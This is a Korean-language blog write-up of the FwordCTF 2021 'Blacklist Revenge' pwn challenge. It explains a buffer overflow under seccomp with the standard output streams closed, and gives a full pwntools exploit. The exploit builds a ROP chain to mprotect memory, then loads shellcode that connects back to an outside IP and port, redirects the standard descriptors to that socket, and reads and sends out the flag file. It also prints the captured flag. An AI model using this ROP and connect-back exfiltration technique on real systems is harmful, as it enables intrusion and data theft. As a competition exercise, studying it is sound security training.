Sechack

FwordCTF 2021 - Blacklist Revenge 풀이 본문

CTF

FwordCTF 2021 - Blacklist Revenge 풀이

Sechack 2021. 8. 28. 20:32
반응형

갠적으로 재미있었다.

 

 

 

그냥 bof이다.

 

 

바이너리는 static이다.

 

 

 

그리고 seccomp가 걸려있다. openat을 필터링하지 않으므로 openat system call을 이용해서 orw해서 플래그 읽어주면 된다.

 

 

It's time to revenge !
flag is in /home/fbi/flag.txt
Note : There is no stdout/stderr in the server , can you manage it this year?
nc 40.71.72.198 1236
Author : haflout

 

 

문제 설명이다. 서버에는 stdout, stderr가 없다고 한다. 실제로 write를 부르는 쉘코드를 작성해보고 데이터를 출력해보면 로컬에서는 잘 출력되지만 서버로 보내보면 아무것도 출력되지 않는것을 알 수 있다. 나는 이걸 보고 pwnable.tw Kidding문제가 떠올랐다. Kidding문제도 bof이후에 0, 1, 2디스크립터를 닫아준다. 따라서 이 문제도 Kidding문제와 같이 소켓을 이용해서 풀었다. gets로 입력 받으니까 쉘코드 길이는 신경 안써도 될듯 한다. 먼저 mprotect로 bss같은 주소 고정인 곳에 rwx박아주고 쉘코드 넣고 부르면 된다. 리버스 쉘코드 넣으면 되는데 execve같은거 못하니까 orw로 플래그 읽으면 된다. 소켓 쓰는 쉘코드 처음부터 짜긴 귀찮으니까 복붙해서 좀 바꿔줬다.

 

 

from pwn import *

#r = process("./blacklist")
r = remote("40.71.72.198", 1236)
e = ELF("./blacklist")

context.arch = "amd64"

mprotect = 0x458A60
pop_rax = 0x414e53
pop_rdi = 0x4018ca
pop_rsi = 0x4028b8
pop_rdx = 0x4017cf
call_rax = 0x49c7cf
syscall = 0x4937b9

bssbuf = 0x4E0960
codebuf = 0x4dd000

shellcode = asm("""
push 0x754bc123
pushw 0x5c11
pushw 2

push 42
push 16
push 41
push 1
push 2

pop rdi
pop rsi
xor rdx, rdx
pop rax
syscall

mov rdi, rax
pop rdx
pop rax
mov rsi, rsp
syscall

xor rsi, rsi

loop:

mov al, 33
syscall
inc rsi
cmp rsi, 2
jle loop

xor rax, rax
xor rdi, rdi
mov ax, 0x101
mov rsi, 0x4E0960
syscall

mov rdi, rax
mov rax, 0
mov rsi, 0x4E0960
mov rdx, 0x50
syscall

xor rax, rax
mov al, 1
mov rdi, 1
mov rsi, 0x4E0960
mov rdx, 0x50
syscall
""")

payload = b"a"*0x48
payload += p64(pop_rdi)+p64(codebuf)
payload += p64(pop_rsi)+p64(0x1000)
payload += p64(pop_rdx)+p64(7)
payload += p64(mprotect)

payload += p64(pop_rax)+p64(0)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi)+p64(bssbuf)
payload += p64(pop_rdx)+p64(0x100)
payload += p64(syscall)

payload += p64(pop_rax)+p64(0)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi)+p64(codebuf)
payload += p64(pop_rdx)+p64(0x1000)
payload += p64(syscall)

payload += p64(pop_rax)+p64(codebuf)
payload += p64(call_rax)

r.sendline(payload)
sleep(0.5)
r.sendline(b"/home/fbi/flag.txt\x00")
sleep(0.5)
r.sendline(shellcode)

r.interactive()

 

 

원래 로컬에서 서버 열려고 했는데 포트포워딩 잘되던게 오늘따라 잘 안되길래 저번에 만들어둔 구글 클라우드 플랫폼 썼다.

 

 

 

 

플래그 나왔다.

 

 

FwordCTF{you_aRe_aw3s0Me_!_you_d1d_i7_again_th1s_Ye4r}

반응형

'CTF' 카테고리의 다른 글

The Hacking Championship Junior 2021 제출용 write-up  (0) 2021.10.22
Tamil CTF pwnable Write up  (0) 2021.10.01
corCTF 2021 - CShell 풀이  (0) 2021.08.22
SSTF 2021 - SW Expert Academy 풀이  (0) 2021.08.17
제 23회 해킹캠프 CTF write up  (2) 2021.08.15
Comments